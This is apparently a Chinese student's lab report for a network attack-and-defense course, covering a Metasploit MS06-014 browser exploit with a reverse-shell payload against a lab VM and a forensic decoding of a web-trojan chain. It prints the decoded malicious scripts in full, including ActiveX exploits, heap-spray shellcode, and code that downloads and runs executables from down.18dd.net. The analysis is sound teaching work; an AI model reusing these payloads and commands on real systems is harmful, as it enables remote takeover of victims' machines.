20242942 2024-2025-2《网络攻防实践》实验十一

1.实践内容

本次实验包含三个部分:Web浏览器渗透攻击、取证分析实践以及攻防对抗实践。

①Web浏览器渗透攻击

实验任务是利用攻击机对Windows靶机进行浏览器渗透攻击,体验网页木马构造及实施攻击的过程。实验中使用了Metasploit的MS06-014模块,选择任意远程Shell连接作为PAYLOAD,设置服务器地址和URL参数后运行exploit,构造出恶意网页木马脚本。靶机浏览器访问该脚本URL后,攻击机通过Metasploit查看渗透状态并建立远程控制会话,远程执行命令。

②取证分析实践

实践过程从访问start.html开始,根据文件中的线索找到new09.htm地址。之后每解密出一个文件地址,就对其做32位MD5散列,以散列值为文件名从指定网址下载对应文件。如果解密出的是网页或脚本文件则继续解密,如果是二进制程序文件则进行静态反汇编或动态调试,直至所有文件分析完成。

③攻防对抗实践

攻击方使用Metasploit构造至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,混淆后组装成URL,通过欺骗性电子邮件发送给防守方。防守方需提取邮件中的挂马链接,解混淆分析,恢复渗透代码原始形态,并分析其针对的Web浏览端软件安全漏洞。

2.实践过程

实验一 web浏览器渗透攻击

将主机名改为zyl,输入命令msfconsole启动metasploit

7c5e215973c3d5551308fe3bc6d1beb3

输入命令search ms06-014,可见漏洞利用模块为0模块,输入命令use 0show payloads,查看可以使用的攻击载荷

0269062b9e685fe9d015637b950d3fc6

输入命令set payload generic/shell_reverse_tcp,用此载荷进行攻击

99a7d08d3967ebe602d1df73955c7aef

输入命令exploit,得到网页木马链接 http://192.168.200.133:8080/yaoZpDK

fb64cd0137dbc40c282495c486db1304

打开靶机win2k 命令行输入ipconfig,看一下ip地址为192.168.200.131

b6666749cd0f3d395c04ef5d86b071cf

在win2k中浏览器打开此链接http://192.168.200.133:8080/ya0ZpDK,为一段字符串,攻击机kali与win2k成功建立终端连接,输入sessions可查看此连接

0c40e1d15a183bd1e0f320ab2b8371fe

输入命令sessions -i 1,取得靶机控制权:ifconfige一下

469903b460cca50bceab657082337de2

实验二 取证分析实践—网页木马攻击场景分析

从学习通中下载start.html用记事本打开,查找new09.htm

2883d7a39e7e886bc2bfccc7b83efa3a

45749c7022bfe675f403a955d4098d97

438742b4d772a941de438d0012fde764

找到new09.htm文件后,打开此文件,可见其引用了http://aa.18dd.net/aa/kl.htmhttp://js.users.51.la/1299644.js

23368f653ccd841f423e18d78f6c7370

用这个网站http://www.esjson.com/hashEncrypt.html计算它们的md5值

分别为7f60672dcd6b5e90b6772545ee219bd323180a42a2ff1192150231b44ffdf3d3

8b92252226ae9badbfd441f0bde46221

4151095f9aad56b2b5d6399fe23e4515

找到并打开23180a42a2ff1192150231b44ffdf3d3文件,内容为:“本文件内容是流量统计代码,不是木马”,并无有效信息

再打开7f60672dcd6b5e90b6772545ee219bd3文件,此文件使用Base64+XXTEA进行了加密!

c386b7f16bcd81670a8009a807ca0033

在文件的末尾找到此文件的解密密钥\x73\x63\x72\x69\x70\x74,该密钥使用十六进制加密,对其转换为字符串script

b65f3abdfef43e40648ac16008ed9c7e

利用解密密钥对该文件解密,解密结果为十六进制文件:

e7819f4fb318c231b2499251c697ea94

e34710077235bb77f5dc10ddf16391be

得到的结果如下:

<script>eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

再对上面得到的十六进制再进行字符串转换

b3207f6b0d646f1359f285b9c445348e

如下所示:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

根据上述代码,发现其利用了四个漏洞,分别对他们求md5值为

http://aa.18dd.net/aa/1.js``:5d7e9058a857aa2abee820d5473c5fa4

http://aa.18dd.net/aa/b.js``:3870c28cc279d457746b3796a262f166

http://aa.18dd.net/aa/pps.js``:5f0b8bf0385314dbe0e5ec95e6abedc2

http://down.18dd.net/bb/bd.cab``:1c1d7b3539a617517c49eee4120783b2

使用的网站是:http://www.esjson.com/hashEncrypt.html

11806fabc65f82791f6d58573c2aa319

64e18a45339f3552a07fe4595e17315a

85605fb005a2720be72a7b9f5226d341

3b2a807fafc81da2eb3f924f90508a3b

用记事本打开文件5d7e9058a857aa2abee820d5473c5fa4文件,发现其为十六进制文件,转换为字符串:

4c35a787b618c43b293d596e3f7fe42d

1ae5dadaf2ac695a5a7a9401898abada

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close
();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

该文件调用了http://down.18dd.net/bb/014.exe,再求其md5值为ca4e4a1730b0f69a9b94393d9443b979

3b15afa6d75c89473997550621c81da9

记事本打开文件3870c28cc279d457746b3796a262f166,从首段代码中的 p,a,c,k,e,d 中可以看出,该文件应该是使用了 packed 加密

1169995cc400da14cce46b63682b7d46

用工具猫的用packed对上面的文件进行解密

4754faac803f5cc18a5dbdbba90a7242

得到的结果如下:

var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

通过对URL中的固定斜杠符号"/"(其十六进制ASCII码为2F)进行定位,在shellcode中发现了四处可疑的2F出现位置。其中第三和第四个2F出现得较为密集,因此提取从第三个2F开始到末尾的数据片段(7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000)。

经解码后,这段数据转换为一个完整的URL:http://down.18dd.net/bb/bf.exe。分析表明,该shellcode的功能是从这个URL地址下载一个名为bf.exe的可执行文件。这个发现揭示了恶意代码试图从指定网址获取并执行bf.exe程序的攻击意图。

f14ddcadab53e9458e33819e658fced6

9e5ea36e5e9582e93aa0e768e8edfeb4

用记事本打开5f0b8bf0385314dbe0e5ec95e6abedc2,其为八进制文件,对其进行字符串转换

fd3c08db5c0cdf0cbf2221774dbf9f6c

2b0e5b01aed10cd2c5a5067f8526d44f


/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

在此文件中也发现有shellcode代码,同样的寻找URL的特征字符2f(即/),进行解密得http://down.18dd.net/bb/pps.exe,计算其md5值ff59b3b8961f502289c1b4df8c37e2a4

fcf9453e6e7628b1d34429e8e49e27b4

打开文件bd.cab,对文件1c1d7b3539a617517c49eee4120783b2修改名称后得到bd.exe:

dcf8e6154bcaadbaa73303b80904d4a1

以上得到四个exe可执行文件:014.exe,bf.exe,pps.exe,bd.exe,分别对其计算md5值,发现均为1290ecd734d68d52318ea9016dc6fe63,分析其一即可

b6666749cd0f3d395c04ef5d86b071cf

将pps.exe导入Win2k的IDA进行反汇编

3dc586dfac3144f762486bf379a8980d

在Strings可见其下载了多个可执行文件,

f7617ffe0ccc5ea2eeb1da7b1af6b546

在View中打开流程图,放大看到关键词dword,可知其对注册表有修改和删除

aec3c1ba842a826776eb04af40cd2684

实验三 攻防对抗实践—web浏览器渗透攻击攻防

修改主机名为zyl,输入命令msfconsole启动metasploit

7c5e215973c3d5551308fe3bc6d1beb3

同实验一,通过命令search ms06-014use 0show payloadsset payload generic/shell_reverse_tcpexploit部署攻击载荷

0269062b9e685fe9d015637b950d3fc6

99a7d08d3967ebe602d1df73955c7aef

得到网页木马地址http://192.168.200.133:8080/ya0ZpDK,靶机访问后,Kali与靶机建立连接

0c40e1d15a183bd1e0f320ab2b8371fe

输入命令sessions -i 1获得靶机控制权:

469903b460cca50bceab657082337de2

靶机中对木马界面查看源代码,可见其中有大量的空格,猜测为绕过防火墙的手段,用HTML在线格式化工具得到整理后的代码

ed1e6ec56ff61d7b1028bdf930ada6e5

d490cb2ea60ba62d0739053882cd6a19

<html><head><title></title><script language="javascript">function JDbojhPmsoDRSPAhnfes(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function IwLghKSBVvaaqMFjZYXvDuRv(a){var s=JDbojhPmsoDRSPAhnfes(a,"WScript.Shell");var o=JDbojhPmsoDRSPAhnfes(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\iykNPdRrpEexSomJlIxAjaHlYQkPcn.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function QCxgIOzMqb(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=JDbojhPmsoDRSPAhnfes(a,"WScript.Shell");if(b){IwLghKSBVvaaqMFjZYXvDuRv(a);return(0)}}catch(e){}}i++}}</script></head><body onload='QCxgIOzMqb()'>omI</body></html>

可见通过调用document.location加载了payload,还可以看到有可执行文件,在靶机中打开资源管理器,发现有INokmtXW.exe进程,为攻击机获得靶机控制权和通信的进程

de4af72add6b9e3da653ea45b12744ea

在格式化后的HTML代码中可见BD96C556-65A3-11D0-983A-00C04FC29E36

d4907c24aee9a6d2397aa60bb0f88f97

搜索可知其为ms06-014中的变量,可知攻击者利用的是ms06-014漏洞

79cc2790e18a17b867e604c692d0a152

3.学习中遇到的问题及解决

问题1:分析共得到四个exe可执行文件的时候,放到桌面上,找不到路径。

问题1解决方案:别用cd desktop,换成cd 桌面(感觉怪怪的,hhhhhh)

0b9061e8add56b0025fe05f37a12bca9

4.实践总结

这次实验做得很顺利,跟之前的实验很类似,在Web浏览器渗透攻击部分,利用了Metasploit的MS06-014模块,又一次体验了网页木马的构造及实施攻击过程。通过设置服务器地址和URL参数,成功构造恶意网页木马脚本,并在靶机浏览器访问后建立远程控制会话,实现了远程命令执行。取证分析实践中,从访问文件start.html开始,通过解密文件地址并下载对应文件,对网页或脚本文件继续解密,对二进制程序文件进行静态反汇编或动态调试,完成了所有文件的分析,提高了对网络犯罪行为的追踪和分析能力。攻防对抗实践中,攻击方构造并混淆渗透攻击代码,通过电子邮件发送给防守方。防守方成功提取并解混淆分析邮件中的挂马链接,恢复渗透代码原始形态,并分析其针对的安全漏洞,增强了对网络攻击的防御能力。通过本次实验,提升了我对网络安全攻击手段的认识,再一次增强了对网络攻击的防御和取证分析能力,为今后的网络安全工作打下了坚实的基础,同时,上面好多地方都运用到了Ai(如字符转换等),确实能够提升办事效率。

参考资料

posted @ 2025-05-16 21:48  washiyoone  阅读(231)  评论(0)    收藏  举报